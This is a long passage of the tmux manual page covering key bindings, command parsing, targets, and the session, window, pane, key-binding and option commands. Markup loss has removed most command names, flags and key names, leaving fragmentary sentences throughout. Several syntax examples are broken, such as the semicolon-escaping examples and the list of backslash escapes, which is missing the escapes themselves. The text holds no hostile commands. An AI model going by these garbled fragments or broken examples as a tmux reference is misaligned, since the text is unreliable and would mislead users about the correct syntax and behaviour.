Force redraw of the attached client.

Select a new session for the attached client interactively.

Show the time.

Choose the current window interactively.

Kill the current pane.

Toggle zoom state of the current pane.

Swap the current pane with the previous pane.

Swap the current pane with the next pane.

Show previous messages from

if any.

Enter copy mode and scroll one page up.

Change to the pane above, below, to the left, or to the right of the current pane.

Arrange panes in one of the five preset layouts: even-horizontal, even-vertical, main-horizontal, main-vertical, or tiled.

Arrange the current window in the next preset layout.

Move to the next window with a bell or activity marker.

Rotate the panes in the current window backwards.

Move to the previous window with a bell or activity marker.

Resize the current pane in steps of one cell.

Resize the current pane in steps of five cells.

Key bindings may be changed with the

and

commands.

supports a large number of commands which can be used to control its behaviour. Each command is named and can accept zero or more flags and arguments. They may be bound to a key with the

command or run from the shell prompt, a shell script, a configuration file or the command prompt. For example, the same

command run from the shell prompt, from

and bound to a key may look like:

$ tmux set-option -g status-style bg=cyan

set-option -g status-style bg=cyan

bind-key C set-option -g status-style bg=cyan

Here, the command name is

is a flag and

and

are arguments.

distinguishes between command parsing and execution. In order to execute a command,

needs it to be split up into its name and arguments. This is command parsing. If a command is run from the shell, the shell parses it; from inside

or from a configuration file,

does. Examples of when

parses commands are:

in a configuration file;

typed at the command prompt (see

given to

passed as arguments to

or

To execute commands, each client has a

A global command queue not attached to any client is used on startup for configuration files like

Parsed commands added to the queue are executed in order. Some commands, like

and

parse their argument to create a new command which is inserted immediately after themselves. This means that arguments can be parsed twice or more - once when the parent command (such as

is parsed and again when it parses and executes its command. Commands like

and

stop execution of subsequent commands on the queue until something happens -

and

until a shell command finishes and

until a key is pressed. For example, the following commands:

new-session; new-window if-shell “true” “split-window” kill-session

Will execute

the shell command

and

in that order.

The

section lists the

commands and their arguments.

This section describes the syntax of commands parsed by

for example in a configuration file or at the command prompt. Note that when commands are entered into the shell, they are parsed by the shell - see for example

or

Each command is terminated by a newline or a semicolon (;). Commands separated by semicolons together form a

- if a command in the sequence encounters an error, no subsequent commands are executed.

It is recommended that a semicolon used as a command separator should be written as an individual token, for example from

$ tmux neww \ splitw

Or:

$ tmux neww ‘;’ splitw

Or from the tmux command prompt:

neww ; splitw

However, a trailing semicolon is also interpreted as a command separator, for example in these

commands:

$ tmux neww\ splitw

Or:

$ tmux ’neww;’ splitw

As in these examples, when running tmux from the shell extra care must be taken to properly quote semicolons:

Semicolons that should be interpreted as a command separator should be escaped according to the shell conventions. For

this typically means quoted (such as

or escaped (such as

Individual semicolons or trailing semicolons that should be interpreted as arguments should be escaped twice: once according to the shell conventions and a second time for

for example:

$ tmux neww ‘foo;’ bar $ tmux neww foo\; bar

Semicolons that are not individual tokens or trailing another token should only be escaped once according to shell conventions; for example:

$ tmux neww ‘foo-;-bar’ $ tmux neww foo-;-bar

Comments are marked by the unquoted # character - any remaining text after a comment is ignored until the end of the line.

If the last character of a line is \ the line is joined with the following line (the \ and the newline are completely removed). This is called line continuation and applies both inside and outside quoted strings and in comments, but not inside braces.

Command arguments may be specified as strings surrounded by single (’) quotes, double quotes (") or braces ({}). This is required when the argument contains any special character. Single and double quoted strings cannot span multiple lines except with line continuation. Braces can span multiple lines.

Outside of quotes and inside double quotes, these replacements are performed:

Environment variables preceded by $ are replaced with their value from the global environment (see the

section).

A leading ~ or ~user is expanded to the home directory of the current or specified user.

\uXXXX or \uXXXXXXXX is replaced by the Unicode codepoint corresponding to the given four or eight digit hexadecimal number.

When preceded (escaped) by a \ the following characters are replaced:  by the escape character; by a carriage return; by a newline; and by a tab.

\ooo is replaced by a character of the octal value ooo. Three octal digits are required, for example . The largest valid character is \377.

Any other characters preceded by \ are replaced by themselves (that is, the \ is removed) and are not treated as having any special meaning - so for example \ will not mark a command sequence and \ will not expand an environment variable.

Braces are parsed as a configuration file (so conditions such as

are processed) and then converted into a string. They are designed to avoid the need for additional escaping when passing a group of

commands as an argument (for example to

These two examples produce an identical command - note that no escaping is needed when using {}:

if-shell true { display -p ‘brace-dollar-foo: }$foo’ }

if-shell true “display -p ‘brace-dollar-foo: }\foo’”

Braces may be enclosed inside braces, for example:

bind x if-shell “true” { if-shell “true” { display “true!” } }

Environment variables may be set by using the syntax

for example

Variables set during parsing are added to the global environment. A hidden variable may be set with

for example:

%hidden MYVAR=42

Hidden variables are not passed to the environment of processes created by tmux. See the

section.

Commands may be parsed conditionally by surrounding them with

and

The argument to

and

is expanded as a format (see

and if it evaluates to false (zero or empty), subsequent text is ignored until the closing

or

For example:

%if “#{==:#{host},myhost}” set -g status-style bg=red %elif “#{==:#{host},myotherhost}” set -g status-style bg=green %else set -g status-style bg=blue %endif

Will change the status line to red if running on

green if running on

or blue if running on another host. Conditionals may be given on one line, for example:

%if #{==:#{host},myhost} set -g status-style bg=red %endif

This section describes the commands supported by

Most commands accept the optional

(and sometimes

argument with one of

or

These specify the client, session, window or pane which a command should affect.

should be the name of the client, typically the

file to which the client is connected, for example either of

or

for the client attached to

If no client is specified,

attempts to work out the client currently in use; if that fails, an error is reported. Clients may be listed with the

command.

is tried as, in order:

A session ID prefixed with a $.

An exact name of a session (as listed by the

command).

The start of a session name, for example

would match a session named

An

pattern which is matched against the session name.

If the session name is prefixed with an

only an exact match is accepted (so

will only match exactly

not

If a single session is found, it is used as the target session; multiple matches produce an error. If a session is omitted, the current session is used if available; if no current session is available, the most recently used is chosen.

(or

or

specifies a window in the form

follows the same rules as for

and

is looked for in order as:

A special token, listed below.

A window index, for example

is window 1 in session

A window ID, such as @1.

An exact window name, such as

The start of a window name, such as

As an

pattern matched against the window name.

Like sessions, a

prefix will do an exact match only. An empty window name specifies the next unused index if appropriate (for example the

and

commands) otherwise the current window in

is chosen.

The following special tokens are available to indicate particular windows. Each has a single-character alternative form.

(or

or

may be a pane ID or takes a similar form to

but with the optional addition of a period followed by a pane index or pane ID, for example:

If the pane index is omitted, the currently active pane in the specified window is used. The following special tokens are available for the pane index:

The tokens

and

may be followed by an offset, for example:

select-window -t:+2

In addition,

or

may consist entirely of the token

(alternative form

to specify the session, window or pane where the most recent mouse event occurred (see the

section) or

(alternative form

to specify the marked pane (see

Sessions, window and panes are each numbered with a unique ID; session IDs are prefixed with a

windows with a

and panes with a

These are unique and are unchanged for the life of the session, window or pane in the

server. The pane ID is passed to the child process of the pane in the

environment variable. IDs may be displayed using the

or

formats (see the

section) and the

or

commands.

arguments are

commands. This may be a single argument passed to the shell, for example:

new-window ‘vi ~/.tmux.conf’

Will run:

/bin/sh -c ‘vi ~/.tmux.conf’

Additionally, the

and

commands allow

to be given as multiple arguments and executed directly (without

This can avoid issues with shell quoting. For example:

$ tmux new-window vi ~/.tmux.conf

Will run

directly without invoking the shell.

refers to a

command, either passed with the command and arguments separately, for example:

bind-key F1 set-option status off

Or passed as a single string argument in

for example:

bind-key F1 { set-option status off }

Example

commands include:

refresh-client -t/dev/ttyp2

rename-session -tfirst newname

set-option -wt:0 monitor-activity on

new-window ; split-window -d

bind-key R source-file ~/.tmux.conf \ \ display-message “source-file done”

Or from

$ tmux kill-window -t :1

$ tmux new-window \ split-window -d

$ tmux new-session -d ‘vi ~/.tmux.conf’ \ split-window -d \ attach

The

server manages clients, sessions, windows and panes. Clients are attached to sessions to interact with them, either when they are created with the

command, or later with the

command. Each session has one or more windows

into it. Windows may be linked to multiple sessions and are made up of one or more panes, each of which contains a pseudo terminal. Commands for creating, linking and otherwise manipulating windows are covered in the

section.

The following commands are available to manage clients and sessions:

If run from outside

create a new client in the current terminal and attach it to

If used from inside, switch the current client. If

is specified, any other clients attached to the session are detached. If

is given, send

to the parent process of the client as well as detaching the client, typically causing it to exit.

sets a comma-separated list of client flags. The flags are:

the client has an independent active pane

the client does not affect the size of other clients

the client does not receive pane output in control mode

output is paused once the pane is

behind in control mode

the client is read-only

wait for an empty line input before exiting in control mode

A leading

turns a flag off if the client is already attached.

is an alias for

When a client is read-only, only keys bound to the

or

commands have any effect. A client with the

flag allows the active pane to be selected independently of the window’s active pane used by clients without the flag. This only affects the cursor position and commands issued from the client; other features such as hooks and styles continue to use the window’s active pane.

If no server is started,

will attempt to start it; this will fail unless sessions are created in the configuration file.

The

rules for

are slightly adjusted: if

needs to select the most recently used session, it will prefer the most recently used

session.

will set the session working directory (used for new windows) to

If

is used, the

option will not be applied.

Detach the current client if bound to a key, the client specified with

or all clients currently attached to the session specified by

The

option kills all but the client given with

If

is given, send

to the parent process of the client, typically causing it to exit. With

run

to replace the client.

Report an error and exit with 1 if the specified session does not exist. If it does exist, exit with 0.

Kill the

server and clients and destroy all sessions.

Destroy the given session, closing any windows linked to it and no other sessions, and detaching all clients attached to it. If

is given, all sessions but the specified one is killed. The

flag clears alerts (bell, activity, or silence) in all windows linked to the session.

List all clients attached to the server.

specifies the format of each line and

a filter. Only clients for which the filter is true are shown. See the

section. If

is specified, list only clients connected to that session.

List the syntax of

or - if omitted - of all commands supported by

List all sessions managed by the server.

specifies the format of each line and

a filter. Only sessions for which the filter is true are shown. See the

section.

Lock

see the

command.

Lock all clients attached to

Create a new session with name

The new session is attached to the current terminal unless

is given.

and

are the name of and shell command to execute in the initial window. With

the initial size comes from the global

option;

and

can be used to specify a different size.

uses the size of the current client if any. If

or

is given, the

option is set for the session.

sets a comma-separated list of client flags (see

If run from a terminal, any

special characters are saved and used for new windows in the new session.

The

flag makes

behave like

if

already exists; if

is given,

behaves like

to

and

behaves like

to

If

is given, it specifies a

Sessions in the same group share the same set of windows - new windows are linked to all sessions in the group and any windows closed removed from all sessions. The current and previous window and any session options remain independent and any session in a group may be killed without affecting the others. The

argument may be:

the name of an existing group, in which case the new session is added to that group;

the name of an existing session - the new session is added to the same group as that session, creating a new group if necessary;

the name for a new group containing only the new session.

and

are invalid if

is used.

The

option prints information about the new session after it has been created. By default, it uses the format

but a different format may be specified with

If

is used, the

option will not be applied.

takes the form

and sets an environment variable for the newly created session; it may be specified multiple times.

Refresh the current client if bound to a key, or a single client if one is given with

If

is specified, only update the client’s status line.

The

and

flags allow the visible portion of a window which is larger than the client to be changed.

moves the visible part up by

rows and

down,

left by

columns and

right.

returns to tracking the cursor automatically. If

is omitted, 1 is used. Note that the visible position is a property of the client not of the window, changing the current window in the attached session will reset it.

sets the width and height of a control mode client or of a window for a control mode client,

must be one of

or

for example

or

allows a control mode client to trigger actions on a pane. The argument is a pane ID (with leading

a colon, then one of

or

If

will not send output from the pane to the client and if all clients have turned the pane off, will stop reading from the pane. If

will return to sending output to the pane if it was paused (manually or with the

flag). If

will pause the pane.

may be given multiple times for different panes.

sets a subscription to a format for a control mode client. The argument is split into three items by colons:

is a name for the subscription;

is a type of item to subscribe to;

is the format. After a subscription is added, changes to the format are reported with the

notification, at most once a second. If only the name is given, the subscription is removed.

may be empty to check the format only for the attached session, or one of: a pane ID such as

for all panes in the attached session; a window ID such as

or

for all windows in the attached session.

sets a comma-separated list of client flags, see

requests the clipboard from the client using the

escape sequence. If

is given, the clipboard is sent (in encoded form), otherwise it is stored in a new paste buffer.

and

move the visible portion of the window left, right, up or down by

if the window is larger than the client.

resets so that the position follows the cursor. See the

option.

Rename the session to

Change the access or read/write permission of

The user running the

server (its owner) and the root user cannot be changed and are always permitted access.

and

are used to give or revoke access for the specified user. If the user is already attached, the

flag causes their clients to be detached.

and

change the permissions for

makes their clients read-only and

writable.

lists current access permissions.

By default, the access list is empty and

creates sockets with file system permissions preventing access by any user other than the owner (and root). These permissions must be changed manually. Great care should be taken not to allow access to untrusted users even read-only.

Show server messages or information. Messages are stored, up to a maximum of the limit set by the

server option.

and

show debugging information about jobs and terminals.

Execute commands from one or more files specified by

(which may be

patterns). If

is present, then

is expanded as a format. If

is given, no error will be returned if

does not exist. With

the file is parsed but no commands are executed.

shows the parsed commands and line numbers if possible.

Start the

server, if not already running, without creating any sessions.

Note that as by default the

server will exit with no sessions, this is only useful if a session is created in

is turned off, or another command is run as part of the same command sequence. For example:

$ tmux start \ show -g

Suspend a client by sending

(tty stop).

Switch the current session for client

to

As a special case,

may refer to a pane (a target that contains

or

to change session, window and pane. In that case,

keeps the window zoomed if it was zoomed. If

or

is used, the client is moved to the last, next or previous session respectively.

toggles the client

and

flags (see the

command).

If

is used,

option will not be applied.

sets the client’s key table; the next key from the client will be interpreted from

This may be used to configure multiple prefix keys, or to bind commands to sequences of keys. For example, to make typing

run the

command:

bind-key -Ttable2 c list-keys bind-key -Ttable1 b switch-client -Ttable2 bind-key -Troot a switch-client -Ttable1

Each window displayed by

may be split into one or more

each pane takes up a certain area of the display and is a separate terminal. A window may be split into panes using the

command. Windows may be split horizontally (with the

flag) or vertically. Panes may be resized with the

command (bound to

and

by default), the current pane may be changed with the

command and the

and

commands may be used to swap panes without changing their position. Panes are numbered beginning from zero in the order they are created.

By default, a

pane permits direct access to the terminal contained in the pane. A pane may also be put into one of several modes:

Copy mode, which permits a section of a window or its history to be copied to a

for later insertion into another window. This mode is entered with the

command, bound to

by default. Copied text can be pasted with the

command, bound to

View mode, which is like copy mode but is entered when a command that produces output, such as

is executed from a key binding.

Choose mode, which allows an item to be chosen from a list. This may be a client, a session or window or pane, or a buffer. This mode is entered with the

and

commands.

In copy mode an indicator is displayed in the top-right corner of the pane with the current position and the number of lines in the history.

Commands are sent to copy mode using the

flag to the

command. When a key is pressed, copy mode automatically uses one of two key tables, depending on the

option:

for emacs, or

for vi. Key tables may be viewed with the

command.

The following commands are supported in copy mode:

Append the selection to the top paste buffer.

(vi: A)

Append the selection to the top paste buffer and exit copy mode.

(vi: ^) (emacs: M-m)

Move the cursor back to the indentation.

(vi: Space) (emacs: C-Space)

Begin selection.

(vi: L)

Move to the bottom line.

(vi: q) (emacs: Escape)

Exit copy mode.

(vi: Escape) (emacs: C-g)

Clear the current selection.

Copy from the cursor position to the end of the line.

is used to name the new paste buffer.

Copy from the cursor position and exit copy mode.

Copy the entire line.

Copy the entire line and exit copy mode.

Copies the current selection.

(vi: Enter) (emacs: M-w)

Copy the current selection and exit copy mode.

(vi: j) (emacs: Down)

Move the cursor down.

(vi: h) (emacs: Left)

Move the cursor left.

(vi: l) (emacs: Right)

Move the cursor right.

(vi: k) (emacs: Up)

Move the cursor up.

(vi: $) (emacs: C-e)

Move the cursor to the end of the line.

(vi: :) (emacs: g)

Move the cursor to a specific line.

(vi: G) (emacs: M->)

Scroll to the bottom of the history.

(vi: g) (emacs: M-<)

Scroll to the top of the history.

(vi: ;) (emacs: ;)

Repeat the last jump.

(vi: F) (emacs: F)

Jump backwards to the specified text.

(vi: f) (emacs: f)

Jump forward to the specified text.

(vi: M-x) (emacs: M-x)

Jump to the last mark.

(vi: M) (emacs: M-r)

Move to the middle line.

(vi: %) (emacs: M-C-f)

Move to the next matching bracket.

(vi: }) (emacs: M-})

Move to the next paragraph.

Move to the next prompt.

(vi: w)

Move to the next word.

(vi: C-f) (emacs: PageDown)

Scroll down by one page.

(vi: C-b) (emacs: PageUp)

Scroll up by one page.

(emacs: M-C-b)

Move to the previous matching bracket.

(vi: {) (emacs: M-{)

Move to the previous paragraph.

Move to the previous prompt.

(vi: b) (emacs: M-b)

Move to the previous word.

(vi: v) (emacs: R)

Toggle rectangle selection mode.

(vi: r) (emacs: r)

Refresh the content from the pane.

(vi: n) (emacs: n)

Repeat the last search.

(vi: ?)

Search backwards for the specified text.

(vi: /)

Search forward for the specified text.

(vi: V)

Select the current line.

Select the current word.

(vi: 0) (emacs: C-a)

Move the cursor to the start of the line.

(vi: H) (emacs: M-R)

Move to the top line.

The search commands come in several varieties:

and

search for a regular expression; the

variants search for a plain text string rather than a regular expression;

perform an incremental search and expect to be used with the

flag to the

command.

repeats the last search and

does the same but reverses the direction (forward becomes backward and backward becomes forward).

The

and

move between shell prompts, but require the shell to emit an escape sequence (]133;A) to tell

where the prompts are located; if the shell does not do this, these commands will do nothing. The

flag jumps to the beginning of the command output instead of the shell prompt.

Copy commands may take an optional buffer prefix argument which is used to generate the buffer name (the default is

so buffers are named

and so on). Pipe commands take a command argument which is the command to which the selected text is piped.

variants also copy the selection. The

variants of some commands exit copy mode after they have completed (for copy commands) or when the cursor reaches the bottom (for scrolling commands).

variants do not clear the selection.

The next and previous word keys skip over whitespace and treat consecutive runs of either word separators or other letters as words. Word separators can be customized with the

session option. Next word moves to the start of the next word, next word end to the end of the next word and previous word to the start of the previous word. The three next and previous space keys work similarly but use a space alone as the word separator. Setting

to the empty string makes next/previous word equivalent to next/previous space.

The jump commands enable quick movement within a line. For instance, typing

followed by

will move the cursor to the next

character on the current line. A

will then jump to the next occurrence.

Commands in copy mode may be prefaced by an optional repeat count. With vi key bindings, a prefix is entered using the number keys; with emacs, the Alt (meta) key and a number begins prefix entry.

The synopsis for the

command is:

Enter copy mode. The

option scrolls one page up.

begins a mouse drag (only valid if bound to a mouse key binding, see

hides the position indicator in the top right.

cancels copy mode and any other modes.

copies from

instead of

specifies that scrolling to the bottom of the history (to the visible screen) should exit copy mode. While in copy mode, pressing a key other than those used for scrolling will disable this behaviour. This is intended to allow fast scrolling through a pane’s history, for example with:

bind PageUp copy-mode -eu

A number of preset arrangements of panes are available, these are called layouts. These may be selected with the

command or cycled with

(bound to

by default); once a layout is chosen, panes within it may be moved and resized as normal.

The following layouts are supported:

Panes are spread out evenly from left to right across the window.

Panes are spread evenly from top to bottom.

A large (main) pane is shown at the top of the window and the remaining panes are spread from left to right in the leftover space at the bottom. Use the

window option to specify the height of the top pane.

Similar to

but the large pane is placed on the left and the others spread from top to bottom along the right. See the

window option.

Panes are spread out as evenly as possible over the window in both rows and columns.

In addition,

may be used to apply a previously used layout - the

command displays the layout of each window in a form suitable for use with

For example:

$ tmux list-windows 0: ksh [159x48] layout: bb62,159x48,0,0{79x48,0,0,79x48,80,0} $ tmux select-layout ‘bb62,159x48,0,0{79x48,0,0,79x48,80,0}’

automatically adjusts the size of the layout for the current window size. Note that a layout cannot be applied to a window with more panes than that from which the layout was originally defined.

Commands related to windows and panes are as follows:

Break

off from its containing window to make it the only pane in

With

or

the window is moved to the next index after or before (existing windows are moved if necessary). If

is given, the new window does not become the current window. The

option prints information about the new window after it has been created. By default, it uses the format

but a different format may be specified with

Capture the contents of a pane. If

is given, the output goes to stdout, otherwise to the buffer specified with

or a new buffer if omitted. If

is given, the alternate screen is used, and the history is not accessible. If no alternate screen exists, an error will be returned unless

is given. If

is given, the output includes escape sequences for text and background attributes.

also escapes non-printable characters as octal \xxx.

ignores trailing positions that do not contain a character.

preserves trailing spaces at each line’s end and

preserves trailing spaces and joins any wrapped lines;

implies

captures only any output that the pane has received that is the beginning of an as-yet incomplete escape sequence.

and

specify the starting and ending line numbers, zero is the first line of the visible pane and negative numbers are lines in the history.

to

is the start of the history and to

the end of the visible pane. The default is to capture only the visible contents of the pane.

Put a pane into client mode, allowing a client to be selected interactively from a list. Each client is shown on one line. A shortcut key is shown on the left in brackets allowing for immediate choice, or the list may be navigated and an item chosen or otherwise manipulated using the keys below.

zooms the pane. The following keys may be used in client mode:

After a client is chosen,

is replaced by the client name in

and the result executed as a command. If

is not given, “detach-client -t ‘%%’” is used.

specifies the initial sort field: one of

(time), or

(time).

reverses the sort order.

specifies an initial filter: the filter is a format - if it evaluates to zero, the item in the list is not shown, otherwise it is shown. If a filter would lead to an empty list, it is ignored.

specifies the format for each item in the list and

a format for each shortcut key; both are evaluated once for each line.

starts without the preview. This command works only if at least one client is attached.

Put a pane into tree mode, where a session, window or pane may be chosen interactively from a tree. Each session, window or pane is shown on one line. A shortcut key is shown on the left in brackets allowing for immediate choice, or the tree may be navigated and an item chosen or otherwise manipulated using the keys below.

starts with sessions collapsed and

with windows collapsed.

zooms the pane. The following keys may be used in tree mode:

After a session, window or pane is chosen, the first instance of

and all instances of

are replaced by the target in

and the result executed as a command. If

is not given, “switch-client -t ‘%%’” is used.

specifies the initial sort field: one of

or

(activity).

reverses the sort order.

specifies an initial filter: the filter is a format - if it evaluates to zero, the item in the list is not shown, otherwise it is shown. If a filter would lead to an empty list, it is ignored.

specifies the format for each item in the tree and

a format for each shortcut key; both are evaluated once for each line.

starts without the preview.

includes all sessions in any session groups in the tree rather than only the first. This command works only if at least one client is attached.

Put a pane into customize mode, where options and key bindings may be browsed and modified from a list. Option values in the list are shown for the active pane in the current window.

zooms the pane. The following keys may be used in customize mode:

specifies an initial filter: the filter is a format - if it evaluates to zero, the item in the list is not shown, otherwise it is shown. If a filter would lead to an empty list, it is ignored.

specifies the format for each item in the tree.

starts without the option information. This command works only if at least one client is attached.

Display a visible indicator of each pane shown by

See the

and

session options. The indicator is closed when a key is pressed (unless

is given) or

milliseconds have passed. If

is not given,

is used. A duration of zero means the indicator stays until a key is pressed. While the indicator is on screen, a pane may be chosen with the

to

keys, which will cause

to be executed as a command with

substituted by the pane ID. The default

is “select-pane -t ‘%%’”. With

other commands are not blocked from running until the indicator is closed.

Search for a

pattern or, with

regular expression

in window names, titles, and visible content (but not history). The flags control matching behavior:

matches only visible window contents,

matches only the window name and

matches only the window title.

makes the search ignore case. The default is

zooms the pane.

This command works only if at least one client is attached.

Like

but instead of splitting

and creating a new pane, split it and move

into the space. This can be used to reverse

The

option causes

to be joined to left of or above

If

is omitted and a marked pane is present (see

the marked pane is used rather than the current pane.

Destroy the given pane. If no panes remain in the containing window, it is also destroyed. The

option kills all but the pane given with

Kill the current window or the window at

removing it from any sessions to which it is linked. The

option kills all but the window given with

Select the last (previously selected) pane.

keeps the window zoomed if it was zoomed.

enables or

disables input to the pane.

Select the last (previously selected) window. If no

is specified, select the last window of the current session.

Link the window at

to the specified

If

is specified and no such window exists, the

is linked there. With

or

the window is moved to the next index after or before

(existing windows are moved if necessary). If

is given and

exists, it is killed, otherwise an error is generated. If

is given, the newly linked window is not selected.

If

is given,

is ignored and all panes on the server are listed. If

is given,

is a session (or the current session). If neither is given,

is a window (or the current window).

specifies the format of each line and

a filter. Only panes for which the filter is true are shown. See the

section.

If

is given, list all windows on the server. Otherwise, list windows in the current session or in

specifies the format of each line and

a filter. Only windows for which the filter is true are shown. See the

section.

Does the same as

This is similar to

except the window at

is moved to

With

all windows in the session are renumbered in sequential order, respecting the

option.

Create a new window. With

or

the new window is inserted at the next index after or before the specified

moving windows up if necessary; otherwise

is the new window location.

If

is given, the session does not make the new window the current window.

represents the window to be created; if the target already exists an error is shown, unless the

flag is used, in which case it is destroyed. If

is given and a window named

already exists, it is selected (unless

is also given in which case the command does nothing).

is the command to execute. If

is not specified, the value of the

option is used.

specifies the working directory in which the new window is created.

When the shell command completes, the window closes. See the

option to change this behaviour.

takes the form

and sets an environment variable for the newly created window; it may be specified multiple times.

The

environment variable must be set to

or

for all programs running

New windows will automatically have

added to their environment, but care must be taken not to reset this in shell start-up files or by the

option.

The

option prints information about the new window after it has been created. By default, it uses the format

but a different format may be specified with

Move a window to the next layout and rearrange the panes to fit.

Move to the next window in the session. If

is used, move to the next window with an alert.

Pipe output sent by the program in

to a shell command or vice versa. A pane may only be connected to one command at a time, any existing pipe is closed before

is executed. The

string may contain the special character sequences supported by the

option. If no

is given, the current pipe (if any) is closed.

and

specify which of the

output streams are connected to the pane: with

stdout is connected (so anything

prints is written to the pane as if it were typed); with

stdin is connected (so any output in the pane is piped to

Both may be used together and if neither are specified,

is used.

The

option only opens a new pipe if no previous pipe exists, allowing a pipe to be toggled with a single key, for example:

bind-key C-p pipe-pane -o ‘cat >>~/output.#I-#P’

Move to the previous layout in the session.

Move to the previous window in the session. With

move to the previous window with an alert.

Rename the current window, or the window at

if specified, to

Resize a pane, up, down, left or right by

with

or

or to an absolute size with

or

The

is given in lines or columns (the default is 1);

and

may be a given as a number of lines or columns or followed by

for a percentage of the window size (for example

With

the active pane is toggled between zoomed (occupying the whole of the window) and unzoomed (its normal position in the layout).

begins mouse resizing (only valid if bound to a mouse key binding, see

trims all lines below the current cursor position and moves lines out of the history to replace them.

Resize a window, up, down, left or right by

with

or

or to an absolute size with

or

The

is given in lines or cells (the default is 1).

sets the size of the largest session containing the window;

the size of the smallest. This command will automatically set

to manual in the window options.

Reactivate a pane in which the command has exited (see the

window option). If

is not given, the command used when the pane was created or last respawned is executed. The pane must be already inactive, unless

is given, in which case any existing command is killed.

specifies a new working directory for the pane. The

option has the same meaning as for the

command.

Reactivate a window in which the command has exited (see the

window option). If

is not given, the command used when the window was created or last respawned is executed. The window must be already inactive, unless

is given, in which case any existing command is killed.

specifies a new working directory for the window. The

option has the same meaning as for the

command.

Rotate the positions of the panes within a window, either upward (numerically lower) with

or downward (numerically higher).

keeps the window zoomed if it was zoomed.

Choose a specific layout for a window. If

is not given, the last preset layout used (if any) is reapplied.

and

are equivalent to the

and

commands.

applies the last set layout if possible (undoes the most recent layout change).

spreads the current pane and any panes next to it out evenly.

Make pane

the active pane in its window. If one of

or

is used, respectively the pane below, to the left, to the right, or above the target pane is used.

keeps the window zoomed if it was zoomed.

is the same as using the

command.

enables or

disables input to the pane.

sets the pane title.

and

are used to set and clear the

There is one marked pane at a time, setting a new marked pane clears the last. The marked pane is the default target for

to

and

Select the window at

and

are equivalent to the

and

commands. If

is given and the selected window is already the current window, the command behaves like

Create a new pane by splitting

does a horizontal split and

a vertical split; if neither is specified,

is assumed. The

option specifies the size of the new pane in lines (for vertical split) or in columns (for horizontal split);

may be followed by

to specify a percentage of the available space. The

option causes the new pane to be created to the left of or above

The

option creates a new pane spanning the full window height (with

or full window width (with

instead of splitting the active pane.

zooms if the window is not zoomed, or keeps it zoomed if already zoomed.

An empty

(’’) will create a pane with no command running in it. Output can be sent to such a pane with the

command. The

flag (if

is not specified or empty) will create an empty pane and forward any output from stdin to it. For example:

$ make 2>&1|tmux splitw -dI &

All other options have the same meaning as for the

command.

Swap two panes. If

is used and no source pane is specified with

is swapped with the previous pane (before it numerically);

swaps with the next pane (after it numerically).

instructs

not to change the active pane and

keeps the window zoomed if it was zoomed.

If

is omitted and a marked pane is present (see

the marked pane is used rather than the current pane.

This is similar to

except the source and destination windows are swapped. It is an error if no window exists at

If

is given, the new window does not become the current window.

If

is omitted and a marked pane is present (see

the window containing the marked pane is used rather than the current window.

Unlink

Unless

is given, a window may be unlinked only if it is linked to multiple sessions - windows may not be linked to no sessions; if

is specified and the window is linked to only one session, it is unlinked and destroyed.

allows a command to be bound to most keys, with or without a prefix key. When specifying keys, most represent themselves (for example

to

Ctrl keys may be prefixed with

or

Shift keys with

and Alt (meta) with

In addition, the following special key names are accepted:

(Delete),

to

(Insert),

and

Note that to bind the

or

keys, quotation marks are necessary, for example:

bind-key ‘"’ split-window bind-key “’” new-window

A command bound to the

key will execute for all keys which do not have a more specific binding.

Commands related to key bindings are as follows:

Bind key

to

Keys are bound in a key table. By default (without -T), the key is bound in the

key table. This table is used for keys pressed after the prefix key (for example, by default

is bound to

in the

table, so

creates a new window). The

table is used for keys pressed without the prefix key: binding

to

in the

table (not recommended) means a plain

will create a new window.

is an alias for

Keys may also be bound in custom key tables and the

command used to switch to them from a key binding. The

flag indicates this key may repeat, see the

option.

attaches a note to the key (shown with

To view the default bindings and possible commands, see the

command.

List key bindings. There are two forms: the default lists keys as

commands;

lists only keys with attached notes and shows only the key and note for each key.

With the default form, all key tables are listed by default.

lists only keys in

With the

form, only keys in the

and

key tables are listed by default;

also lists only keys in

specifies a prefix to print before each key and

lists only the first matching key.

lists the command for keys that do not have a note rather than skipping them.

Send a key or keys to a window or client. Each argument

is the name of the key (such as

or

to send; if the string is not recognised as a key, it is sent as a series of characters. If

is given, keys are sent to

so they are looked up in the client’s key table, rather than to

All arguments are sent sequentially from first to last. If no keys are given and the command is bound to a key, then that key is used.

The

flag disables key name lookup and processes the keys as literal UTF-8 characters. The

flag expects each key to be a hexadecimal number for an ASCII character.

The

flag causes the terminal state to be reset.

passes through a mouse event (only valid if bound to a mouse key binding, see

is used to send a command into copy mode - see the

section.

specifies a repeat count and

expands formats in arguments where appropriate.

Send the prefix key, or with

the secondary prefix key, to a window as if it was pressed.

Unbind the command bound to

and

are the same as for

If

is present, all key bindings are removed. The

option prevents errors being returned.

The appearance and behaviour of

may be modified by changing the value of various options. There are four types of option:

and

The

server has a set of global server options which do not apply to any particular window or session or pane. These are altered with the

command, or displayed with the

command.

In addition, each individual session may have a set of session options, and there is a separate set of global session options. Sessions which do not have a particular option configured inherit the value from the global session options. Session options are set or unset with the

command and may be listed with the

command. The available server and session options are listed under the

command.

Similarly, a set of window options is attached to each window and a set of pane options to each pane. Pane options inherit from window options. This means any pane option may be set as a window option to apply the option to all panes in the window without the option set, for example these commands will set the background colour to red for all panes except pane 0:

set -w window-style bg=red set -pt:.0 window-style bg=blue

There is also a set of global window options from which any unset window or pane options are inherited. Window and pane options are altered with

and

commands and displayed with

and

also supports user options which are prefixed with a

User options may have any name, so long as they are prefixed with

and be set to any string. For example:

$ tmux set -wq @foo “abc123” $ tmux show -wv @foo abc123

Commands which set options are as follows:

Set a pane option with

a window option with

a server option with

otherwise a session option. If the option is not a user option,

or

may be unnecessary -

will infer the type from the option name, assuming

for pane options. If

is given, the global session or window option is set.

expands formats in the option value. The

flag unsets an option, so a session inherits the option from the global options (or with

restores a global option to the default).

unsets an option (like

but if the option is a pane option also unsets the option on any panes in the window.

depends on the option and may be a number, a string, or a flag (on, off, or omitted to toggle).

The

flag prevents setting an option that is already set and the

flag suppresses errors about unknown or ambiguous options.

With

and if the option expects a string or a style,

is appended to the existing setting. For example:

set -g status-left “foo” set -ag status-left “bar”

Will result in

And:

set -g status-style “bg=red” set -ag status-style “fg=blue”

Will result in a red background

blue foreground. Without

the result would be the default background and a blue foreground.

Show the pane options (or a single option if

is provided) with

the window options with

the server options with

otherwise the session options. If the option is not a user option,

or

may be unnecessary -

will infer the type from the option name, assuming

for pane options. Global session or window options are listed if

is used.

shows only the option value, not the name. If

is set, no error will be returned if

is unset.

includes hooks (omitted by default).

